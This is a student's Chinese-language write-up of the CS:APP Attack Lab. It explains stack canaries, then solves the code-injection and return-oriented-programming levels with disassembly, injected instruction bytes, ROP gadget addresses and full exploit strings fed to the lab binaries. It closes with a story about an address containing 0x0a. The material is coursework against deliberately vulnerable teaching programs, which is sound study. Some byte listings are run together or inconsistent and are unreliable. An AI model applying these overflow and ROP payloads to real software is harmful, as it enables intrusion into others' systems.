CSAPP_Attack

要求进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP)

参考资料:写的比较好的一个教程

前置知识

Code Injection

通过使缓冲区溢出,注入攻击代码。这种情况是没有开启栈随机化(每一次执行,反汇编某个函数,会发现汇编代码的地址是固定的),同时没有开金丝雀防止栈溢出,反汇编也可以看到,没有%fs:40 之类的指令,而在bomblab里面读汇编代码会发现每一个函数都有金丝雀(也解决了当时做那一个实验的疑惑),如下:

    141f:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    1426:       00 00
    1428:       48 89 44 24 08          mov    %rax,0x8(%rsp)
    142d:       31 c0                   xor    %eax,%eax

这里的fs是段基址,csapp教材上有讲,但是没细说。看王爽的《汇编语言》讲了这个概念,一般在8086机上会使用段偏移这种寻址方式,大致是:地址线有20位,但是寄存器只有16位,所以采用16bit段地址+4bit偏移量来进行寻址:物理地址 = 段地址*16 + 偏移地址。

另一个弄懂的地方是:实际上内存大小是局限于地址总线的宽度的。因为地址总线的宽度代表了寻址的能力,而内存大小超过这个寻址范围,多出去的内存没用了,因为找不到。

但是现在的x86-64的寻址能力理论上能达到1800万TB,而实际上目前做不出来这么大的内存,所以现在可以认为内存可以往高了加。

扯开了,接着看上面的指令,先将段偏移赋给rax,接着通过rax定位rsp,这其实已经固定好了缓冲区的大小,最后一个xor异或指令意义在于:一旦用户输入数据溢出缓冲区,覆盖了金丝雀数,前后金丝雀数异或结果一定为1,设置某个标志位为1之后程序退出,这样就防止了缓冲区溢出的问题。

ROP

return-oriented programming ROP即使用你程序里的字节代码攻击你的程序。

就是在开启栈空间随机化之后,每次初始化栈,栈里面放的是allocate函数,分配随机大小空间,实际的调用栈帧在这个随机空间之后,这样就实现了栈空间的随机化,那黑客拿不到这个栈地址,自然无法直接inject程序。

但是也有方法:有些黑客用nop指令,nop将rip+4或+8, 不执行操作,这样总有一次能找到目标程序。但是现在随机的空间范围太大了,也不用这种方法了。

另一种:用程序里面的代码攻击程序,这样就不用注入代码了,我用你程序本来的代码来当作我的指令,实现攻击。

Objdump

GCC

GDB

这几个也都是bomblab要用的

实验材料

image-20211117171611619

  • cookie:存放通过关卡需要的字符串

  • Ctarget:使用code injection方式进行攻击的程序

  • Farm.c:感觉没什么用,已经被编译进rtarget里面了

  • Hex2raw :16进制转字符串

  • Readme:学号等信息

  • rtarget:使用ROP方式进行攻击

image-20211117173053423

image-20211117173106212

Gets()是不安全的,没有限制读入的长度,容易导致缓冲区溢出

image-20211117173229239

touch1

gdb ctarget
disas getbuf
#输出:
Dump of assembler code for function getbuf:
   0x0000000000401796 <+0>:	sub    $0x38,%rsp
   0x000000000040179a <+4>:	mov    %rsp,%rdi
   0x000000000040179d <+7>:	callq  0x401a36 <Gets>
   0x00000000004017a2 <+12>:	mov    $0x1,%eax
   0x00000000004017a7 <+17>:	add    $0x38,%rsp
   0x00000000004017ab <+21>:	retq   
disas touch1
#输出:
	 0x00000000004017ac <+0>:	sub    $0x8,%rsp
   0x00000000004017b0 <+4>:	movl   $0x1,0x202d42(%rip)        # 0x6044fc <vlevel>
   0x00000000004017ba <+14>:	lea    0x1968(%rip),%rdi        # 0x403129
   0x00000000004017c1 <+21>:	callq  0x400c70 <puts@plt>
   0x00000000004017c6 <+26>:	mov    $0x1,%edi
   0x00000000004017cb <+31>:	callq  0x401ca6 <validate>
   0x00000000004017d0 <+36>:	mov    $0x0,%edi
   0x00000000004017d5 <+41>:	callq  0x400de0 <exit@plt>

getbuf是不安全的,它建立0x38大小的缓冲区,希望读入0x38的数据,但是我们一旦输入的数据超过0x38,会将getbuf的返回地址覆盖。

所以思路是,写满缓冲区,并将溢出部分(原本的返回地址)设置为touch1的地址,这样getbuf将直接返回到touch1

touch1地址为0x00000000004017ac

所以只需要将getbuf()函数返回地址修改为0x00000000004017ac,利用缓冲区溢出的原理

新建输入文件level1.txt:

vim level1.txt

填充内容:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #填满缓冲区
ac 17 40 00 00 00 00 00 #返回地址改为touch1

注意,大部分机器采用小端法,数是反过来的

./hex2raw -i level1.txt | ./ctarget -q

顺利通过

Cookie: 0x5fc1af14
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	2019302110426
	course	15213-f15
	lab	attacklab
	result	251:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 17 40 00 00 00 00 00 

touch2

disas touch2
	 0x00000000004017da <+0>:	sub    $0x8,%rsp
   0x00000000004017de <+4>:	mov    %edi,%edx
   0x00000000004017e0 <+6>:	movl   $0x2,0x202d12(%rip)        # 0x6044fc <vlevel>
   0x00000000004017ea <+16>:	cmp    %edi,0x202d14(%rip)        # 0x604504 <cookie>
   0x00000000004017f0 <+22>:	je     0x40181c <touch2+66>
   0x00000000004017f2 <+24>:	lea    0x197f(%rip),%rsi        # 0x403178
   0x00000000004017f9 <+31>:	mov    $0x1,%edi
   0x00000000004017fe <+36>:	mov    $0x0,%eax
   0x0000000000401803 <+41>:	callq  0x400d90 <__printf_chk@plt>
   0x0000000000401808 <+46>:	mov    $0x2,%edi
   0x000000000040180d <+51>:	callq  0x401d76 <fail>
   0x0000000000401812 <+56>:	mov    $0x0,%edi
   0x0000000000401817 <+61>:	callq  0x400de0 <exit@plt>
   0x000000000040181c <+66>:	lea    0x192d(%rip),%rsi        # 0x403150
   0x0000000000401823 <+73>:	mov    $0x1,%edi
   0x0000000000401828 <+78>:	mov    $0x0,%eax
   0x000000000040182d <+83>:	callq  0x400d90 <__printf_chk@plt>
   0x0000000000401832 <+88>:	mov    $0x2,%edi
   0x0000000000401837 <+93>:	callq  0x401ca6 <validate>
   0x000000000040183c <+98>:	jmp    0x401812 <touch2+56>

相比于touch1,touch2带参数,在touch2内部将参数与cookie值进行比较,若相等才能过关

地址为:0x00000000004017da

不能使用jmp或者call指令,所以将touch2地址压入栈,使用ret指令将touch2地址弹出,并设置为指令寄存器的值,因为touch2将输入的参数与cookie比较,所以把cookie值赋给第一个参数rdi

注入代码:

vim inject.s
movq $0x5fc1af14, %rdi #将cookie赋给rdi寄存器,rdi存放函数第一个参数pushq $0x00000000004017da #压入touch2地址ret #弹出touch2地址,赋给rsi,这两步是为了跳转到touch2

生成为.o文件:

gcc -c inject.s

查看.o文件,从而获得可执行的指令序列

objdump -d inject.o

输出:

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 14 af c1 5f 	mov    $0x5fc1af14,%rdi
   7:	68 da 17 40 00  	pushq  $0x4017da
   e:	c3 

所以这三条指令序列:

48 c7 c7 14 af c1 5f ff 34 25 da 17 40 00 c3 

寻找getbuf的rsp地址,实现覆盖

gdb ctargetbreak getbufrun -qdisas

disas输出:

(gdb) disas
Dump of assembler code for function getbuf:
=> 0x0000000000401796 <+0>:	sub    $0x38,%rsp
   0x000000000040179a <+4>:	mov    %rsp,%rdi
   0x000000000040179d <+7>:	callq  0x401a36 <Gets>
   0x00000000004017a2 <+12>:	mov    $0x1,%eax
   0x00000000004017a7 <+17>:	add    $0x38,%rsp
   0x00000000004017ab <+21>:	retq   
stepi

查看rsp值

p/x $rsp
$1 = 0x55660a78 

touch2地址:0x55660a78

getbuf和第一关大小一样,都是0x38

vim level2.txt
48 c7 c7 14 af c1 5f 68 
da 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 0a 66 55 00 00 00 00
./hex2raw -i level2.txt | ./ctarget -q

./hex2raw -i level5.txt | ./rtarget -q

0x55660ab0

0x55660a78

touch3

image-20211117174559398

![image-20211117174622704](/Users/wangweiwei/Library/Application Support/typora-user-images/image-20211117174622704.png)

disas touch3
   0x00000000004018f1 <+0>:	push   %rbx   0x00000000004018f2 <+1>:	mov    %rdi,%rbx   0x00000000004018f5 <+4>:	movl   $0x3,0x202bfd(%rip)        # 0x6044fc <vlevel>   0x00000000004018ff <+14>:	mov    %rdi,%rsi   0x0000000000401902 <+17>:	mov    0x202bfc(%rip),%edi        # 0x604504 <cookie>   0x0000000000401908 <+23>:	callq  0x40183e <hexmatch>   0x000000000040190d <+28>:	test   %eax,%eax   0x000000000040190f <+30>:	je     0x40193e <touch3+77>   0x0000000000401911 <+32>:	mov    %rbx,%rdx   0x0000000000401914 <+35>:	lea    0x1885(%rip),%rsi        # 0x4031a0   0x000000000040191b <+42>:	mov    $0x1,%edi   0x0000000000401920 <+47>:	mov    $0x0,%eax   0x0000000000401925 <+52>:	callq  0x400d90 <__printf_chk@plt>   0x000000000040192a <+57>:	mov    $0x3,%edi   0x000000000040192f <+62>:	callq  0x401ca6 <validate>   0x0000000000401934 <+67>:	mov    $0x0,%edi   0x0000000000401939 <+72>:	callq  0x400de0 <exit@plt>   0x000000000040193e <+77>:	mov    %rbx,%rdx   0x0000000000401941 <+80>:	lea    0x1880(%rip),%rsi        # 0x4031c8   0x0000000000401948 <+87>:	mov    $0x1,%edi
 0x00000000004018f1 <+0>:	push   %rbx
   0x00000000004018f2 <+1>:	mov    %rdi,%rbx
   0x00000000004018f5 <+4>:	movl   $0x3,0x202bfd(%rip)        # 0x6044fc <vlevel>
   0x00000000004018ff <+14>:	mov    %rdi,%rsi
   0x0000000000401902 <+17>:	mov    0x202bfc(%rip),%edi        # 0x604504 <cookie>
   0x0000000000401908 <+23>:	callq  0x40183e <hexmatch>
   0x000000000040190d <+28>:	test   %eax,%eax
   0x000000000040190f <+30>:	je     0x40193e <touch3+77>
   0x0000000000401911 <+32>:	mov    %rbx,%rdx
   0x0000000000401914 <+35>:	lea    0x1885(%rip),%rsi        # 0x4031a0
   0x000000000040191b <+42>:	mov    $0x1,%edi
   0x0000000000401920 <+47>:	mov    $0x0,%eax
   0x0000000000401925 <+52>:	callq  0x400d90 <__printf_chk@plt>
   0x000000000040192a <+57>:	mov    $0x3,%edi
   0x000000000040192f <+62>:	callq  0x401ca6 <validate>
   0x0000000000401934 <+67>:	mov    $0x0,%edi
   0x0000000000401939 <+72>:	callq  0x400de0 <exit@plt>
   0x000000000040193e <+77>:	mov    %rbx,%rdx
   0x0000000000401941 <+80>:	lea    0x1880(%rip),%rsi        # 0x4031c8
   0x0000000000401948 <+87>:	mov    $0x1,%edi
./hex2raw -i level3.txt | ./ctarget -q
48 c7 c7 b8 0a 66 55 68 
f1 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 0a 66 55 00 00 00 00
35 66 63 31 61 66 31 34
00

Mov cookie地址 rdi

pop touch3

ret

关于cookie字符数组存放的位置:

image-20211117174844978

cookie需要以0结尾:

image-20211117174941581

ROP touch2

  1. 开启了栈随机化,栈的位置在程序每次运行时都有变化,难以预测攻击字符串的位置(空操作雪橇nop sled可暴力枚举,太庞大)
  2. 栈空间不允许有可执行指令,限制了可执行代码区域
Mov4019c5:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)4019c5 + 2 = 4019c7Pop401994:	8d 87 58 90 90 c3    	lea    -0x3c6f6fa8(%rdi),%eax401994 + 2 = 401996

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 96 02 00 00 00 00 00 00 # pop rax , 将返回地址变为getgad1 14 af c1 5f 00 00 00 00 # cookie值,其实是执行 set rax = cookie 37 00 00 00 00 00 00 00 # mov rax rdi da 17 40 00 00 00 00 00

ROP touch3

mov %rsp,%rax

401a00: 8d 87 48 89 e0 94 lea -0x6b1f76b8(%rdi),%eax

401a00 + 2 = 401a02

add $0x20,%rax

4019d2: 48 8d 04 37 lea (%rdi,%rsi,1),%rax

4019d2 + 2 = 4019d4

48 89 c7 :

4019a2: 8d 87 48 89 c7 92 lea -0x6d3876b8(%rdi),%eax

4019a2 + 2 = 4019a4

0x00000000004018f1

0:	48 89 e0             	  mov    %rsp,%rax   3:	04 37               	add    $0x37,%rax   5:	48 89 c7             	mov    %rax,%rdi
00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0084 1a 40 00 00 00 00 00 #gadget1d4 19 40 00 00 00 00 00 #gadvget29e 19 40 00 00 00 00 00 #gadget3f1 18 40 00 00 00 00 00 #touch300 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 0035 66 63 31 61 66 31 3400

movq %rsp,%rax : 48 89 e0

add $0x20,%al #$常数为偏移量,暂时未定 : 04 xx

movq %rax,%rdi

image-20211115110336875

401a84 是gedget1,让rsp = rax

image-20211115110905570

40 19 d4

image-20211115111041884

40 19 9e

./hex2raw -i level5.txt | ./rtarget -q

让我心累的点&新的发现

我采用网上教程,过touch2和touch3的时候,方法绝对没错,但是永远过不了。和同学讨论过后,确认我的步骤绝对没错,我开始怀疑给的程序是有bug的。

于是在IDA上反汇编动态调试(和室友一起),我的docker端口映射有问题,没办法动态调试。发现:当GET()到我的touch2地址时,由于我倒霉,地址里面有0a,读到这一位之后不读了,看get的代码,发现程序读到10(0x0a)时,果然会break。其实想一想也能理解,因为0a是换行符啊!!!

所以我修改了程序的源代码,0a的时候不break,果然本地通过,

image-20211123153846353

但是课程网站上是invalid,果然,网站为了防止我们作弊(修改原代码过程序/直接伪造请求),不能允许我们这样做。

那咋办了,只能让地址里面不包含0a了,于是打算使用数据将0axx的栈空间全部占满,直接把指令存在test函数的栈帧中:除了写的0特别多,看到👀疼,终于过了。。。

同样的方法过了touch3

答案是这样的:

image-20211123154424623

为了造出这个地址,补了非常多0

实际上进了test栈帧

那一天本来晚上6点去验收,自己预估10分钟就能弄完,也没吃饭,想着验收完了美美吃一顿,结果因为这个问题一直弄到晚上10:30,最后解决了吃了碗泡面。。。。

关键是别的同学都没这个问题,我正好随到这个地址,当时觉得自己特别倒霉,现在想想其实还好。

开辟出了一种新的方法,也对这个攻击的了解更加深刻了。